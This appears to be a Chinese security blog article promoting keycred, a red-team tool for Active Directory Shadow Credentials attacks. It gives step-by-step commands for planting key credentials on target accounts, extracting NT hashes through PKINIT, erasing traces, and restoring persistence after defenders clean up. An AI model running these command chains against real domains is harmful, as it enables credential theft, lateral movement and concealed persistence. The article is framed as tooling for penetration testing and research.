Certipy过时了?keycred一键植入/拿hash/自焚,红队新宠曝光!

admin 2026-02-02 00:02:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了新型ActiveDirectory红队工具keycred,集成了ShadowCredentials管理、PKINIT认证拿Hash及自焚清理功能。相比certipy等工具,它以Go语言重写实现跨平台单文件,支持备份恢复、证书处理及更稳定的UnPAC-the-Hash,是域渗透中利用GenericWrite权限进行横向移动和持久化的优选方案。 综合评分: 93 文章分类: 红队,内网渗透,安全工具,渗透测试


cover_image

Certipy 过时了?keycred 一键植入/拿 hash/自焚,红队新宠曝光!

柠檬赏金猎人

2026年2月1日 12:02 广东

概述

新出的、非常实用的 Active Directory 红队工具——keycred(来自德国 RedTeam Pentesting 团队)。 目前最完整、最跨平台的 msDS-KeyCredentialLink(Shadow Credentials)管理工具 + PKINIT UnPAC-the-Hash + 证书处理瑞士军刀。 如果你2026年还在用 certipy add + impacket getTGT 走影子凭据流程,强烈建议切换到 keycred —— 更稳定、更全功能、一键 burn、跨平台单文件。

一、Shadow Credentials 到底是什么?

在现代域渗透中,密码已经不是唯一入口了。微软从 Windows Server 2016 开始引入了一种基于证书的无密码认证机制: 当一个用户/计算机账户的 msDS-KeyCredentialLink 属性里被写入合法的公钥信息后,攻击者就可以拿着对应的私钥通过 PKINIT 协议直接完成 Kerberos 认证 → 拿到 TGT → 获取 NT hash → 横向/提权/持久化。这套机制被红队称为 Shadow Credentials(影子凭据),是目前最优雅、最难检测的持久化/横向方式之一。

常见经典玩法:

•拥有 GenericWrite / WriteProperty 权限 → 往目标的 msDS-KeyCredentialLink 写入自己生成的公钥

•用私钥 + PKINIT 认证 → 拿到目标的 NT hash(UnPAC-the-Hash)•后续可以 Pass-the-Hash、Over-Pass-the-Hash、提权、DCSync 等

二、为什么不用 certipy / bloodyAD / whiskers,而要用 keycred?

| 功能 | certipy | bloodyAD | whiskers | keycred (2025-2026 最新) | | — | — | — | — | — | | 生成 + 写入 KeyCredential | 支持 | 支持 | 支持 | 支持(最规范) | | 列出 / 解析现有链接 | 一般 | 弱 | 一般 | 非常详细 | | UnPAC-the-Hash(拿 NT hash) | 支持 | 不支持 | 支持 | 支持(最稳定) | | 烧毁(认证后自动清除) | 支持 | 不支持 | 支持 | 支持(burn 命令) | | 备份 & 恢复全部凭据 | 无 | 无 | 无 | 支持(backup/restore) | | 支持 otherName SAN 简化认证 | 部分 | 无 | 部分 | 优秀 | | 跨平台单二进制 | 否(python) | 否 | 否 | 是(Go) | | 内置 pfx 证书处理工具 | 无 | 无 | 无 | 有(pfxtool 子工具) | | 最近维护活跃度 | 中等 | 中等 | 低 | 非常活跃 |

三、快速上手

1. 安装(推荐直接用 release 单文件)

# 下载最新版(以 v1.2.1 为例,实际去 GitHub Releases 看最新)wget https://github.com/RedTeamPentesting/keycred/releases/download/v1.2.1/keycred_Linux_x86_64.tar.gztar xzvf keycred_Linux_x86_64.tar.gzchmod +x keycred

用户直接下载 .exe 即可,无需 Go 环境。

2. 最经典的攻击链演示(假设你已有 GenericWrite 权限)

# 步骤1:生成证书并直接写入目标用户/计算机的 msDS-KeyCredentialLink./keycred add \  -u "[email protected]" \          # 你的认证身份  --pfx-shadow target-user.pfx \      # 会自动生成并写入  --target "target-computer$" \       # 目标计算机账户(或用户名)  --dc dc01.corp.local
# 步骤2:使用刚生成的证书进行 PKINIT 认证,并直接拿到 NT hash./keycred auth \  -u "target-computer$" \  --pfx target-user.pfx \             # 刚才生成的 pfx  --dc dc01.corp.local
# 得到类似输出:# [+] NT hash for target-computer$: 31d6cfe0d16ae931b73c59d7e0c089c0
# 步骤3:用完就烧毁(不留痕迹)./keycred burn \  -u "target-computer$" \  --pfx target-user.pfx \  --dc dc01.corp.local

四、扩展版:更多命令示例

1.. 核心攻击链全流程示例(最常用场景)

场景1:针对一台普通域成员机打影子凭据 → 拿 NT hash → 横向到高价值目标

# 前提:你已有 low-priv 用户对目标计算机的 GenericWrite 权限
# 步骤1:用你的账户身份,直接生成证书并写入目标计算机账户./keycred add \  -u "[email protected]" \  -p "P@ssw0rd123" \  --dc dc01.corp.local \  -t "webserver$" \               # 注意 $ 结尾表示计算机账户  --scheme ldaps
# 输出示例:# [+] Generated new certificate and private key# [+] Wrote KeyCredentialLink to msDS-KeyCredentialLink of webserver$# [+] Saved to: shadow-webserver.pfx (password: auto-generated or empty)
# 步骤2:用刚生成的 pfx 进行 PKINIT 认证,提取 NT hash(UnPAC-the-Hash)./keycred auth \  -u "webserver$" \  --pfx shadow-webserver.pfx \  --dc dc01.corp.local
# 输出示例:# [+] PKINIT authentication successful# [+] NT hash for webserver$: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# 步骤3:用完即焚(burn),自动认证后清除自己加的凭据,痕迹最小化./keycred burn \  -u "webserver$" \  --pfx shadow-webserver.pfx \  --dc dc01.corp.local
# 输出示例:# [+] Authenticated and retrieved hash# [+] Successfully removed the added KeyCredentialLink

场景2:指定已存在的 pfx 文件注册(不生成新证书)

# 已有 evil.pfx,想注册到目标用户 svc-sql 上./keycred register \  -u "[email protected]" \  -H "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" \  # 用 NT hash 认证  --pfx evil.pfx \  -t "svc-sql" \  --dc dc01.corp.local

场景3:列出 + 备份 + 恢复(权限维持/蓝队检测验证)

# 列出当前用户的所有影子凭据(详细解析 deviceID、keyID 等)./keycred list \  -u "[email protected]" \  --dc dc01.corp.local
# 备份域控管理员的所有 KeyCredentialLink(防误删或研究用)./keycred backup \  -u "[email protected]" \   # 用有权限的账户  -t "administrator" \  --dc dc01.corp.local \  --output admin-shadow-backup.json
# 事后恢复(比如蓝队清除了,你想复活)./keycred restore \  -u "[email protected]" \  --input admin-shadow-backup.json \  --dc dc01.corp.local

场景4:清理痕迹(remove 单条 / clear 全部)

# 只删掉某一条(知道 keyID 时用)./keycred remove \  -u "[email protected]" \  -t "dc01$" \  --key-id "010001..." \   # 从 list 命令中复制 keyID  --dc dc01.corp.local
# 暴力清空目标的所有影子凭据(慎用!)./keycred clear \  -u "[email protected]" \  -t "fileserver$" \  --dc dc01.corp.local

场景5:解析 raw KeyCredentialLink(研究/ forensics 用)

# 从 BloodHound 或 ldapsearch 拿到的 DN-Binary 值解析./keycred parse \  --input "B:32:..."   # 粘贴完整的 DN-Binary 字符串

场景6:pfxtool 配套使用(证书处理神器)

# 生成全新自签证书 pfx(无密码)./pfxtool create --output fresh-evil.pfx --force
# 合并 cert + key → pfx(常见从 openssl 导出的场景)./pfxtool join \  --cert evil-cert.pem \  --key evil-key.pem \  --output evil-combined.pfx \  --password "hacden123"
# 拆分 pfx → pem(导入其他工具用)./pfxtool split \  --input evil-combined.pfx \  --output-dir ./extracted \  --password "hacden123"
# 查看 pfx 内容(检查 SAN、有效期等)./pfxtool inspect --input evil-combined.pfx --password "hacden123"

2. 高频命令速查表

| 命令 | 作用 | 典型用法示例 | 适用场景 | | — | — | — | — | | add | 生成+写入影子凭据 | ./keycred add -u user -p pass --dc dc -t target$ | 初始植入 | | register | 用已有 pfx 写入 | ./keycred register --pfx my.pfx -t svc$ | 复用证书 | | auth | PKINIT 认证拿 NT hash | ./keycred auth --pfx shadow.pfx -u target$ | UnPAC-the-Hash | | burn | 认证后自动删除 | ./keycred burn --pfx shadow.pfx | 低痕迹横向/提权 | | list | 查看影子凭据详情 | ./keycred list -t administrator | 枚举/研究 | | backup | 备份所有凭据 | ./keycred backup --output backup.json | 持久化备份 | | restore | 从备份恢复 | ./keycred restore --input backup.json | 恢复维持 | | remove | 删除单条凭据 | ./keycred remove --key-id xxx | 精准清理 | | clear | 清空目标所有凭据 | ./keycred clear -t dc01$ | 大范围清理 | | add-raw | 写入自定义 raw 值 | ./keycred add-raw --raw "B:32:..." | 高级/自定义 | | parse | 解析 raw 值 | ./keycred parse --input "B:32:..." | forensics/分析 | | pfxtool create | 新建 pfx | ./pfxtool create --output new.pfx | 证书准备 | | pfxtool join | 合并 cert+key | ./pfxtool join --cert c.pem --key k.pem --output out.pfx | 证书格式转换 |

五、典型使用场景

1.域内横向移动:拿到一台普通机器的 GenericWrite → 打到域控/高价值计算机的影子凭据 → 拿 NT hash → PTH 域控2.持久化:在多个重要账户/计算机上埋影子凭据,证书私钥加密保存,随时复活3.red team 后渗透清理:burn 命令一键清除自己添加的凭据4.权限维持绕过检测:配合 otherName SAN,certipy auth 时都不用写用户名5.安全研究/蓝队检测验证:批量列出、备份、分析域内所有 KeyCredentialLink

六、注意事项 & 坑点

•需要目标账户有 Validated write to msDS-KeyCredentialLink 权限(大多数机器账户默认有自写权限)•LDAP 连接建议用 ldaps(加 –ldaps),明文 ldap 容易被拦截•pfx 密码别忘,输错就废了•Windows 防火墙 / 域策略可能阻断 PKINIT(默认启用,但部分环境关闭)

项目地址:https://github.com/RedTeamPentesting/keycred

希望这篇总结能帮到正在打靶、做红队、研究 AD 持久化的朋友们~


仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:柠檬赏金猎人 《Certipy 过时了?keycred 一键植入/拿 hash/自焚,红队新宠曝光!》

评论:0   参与:  0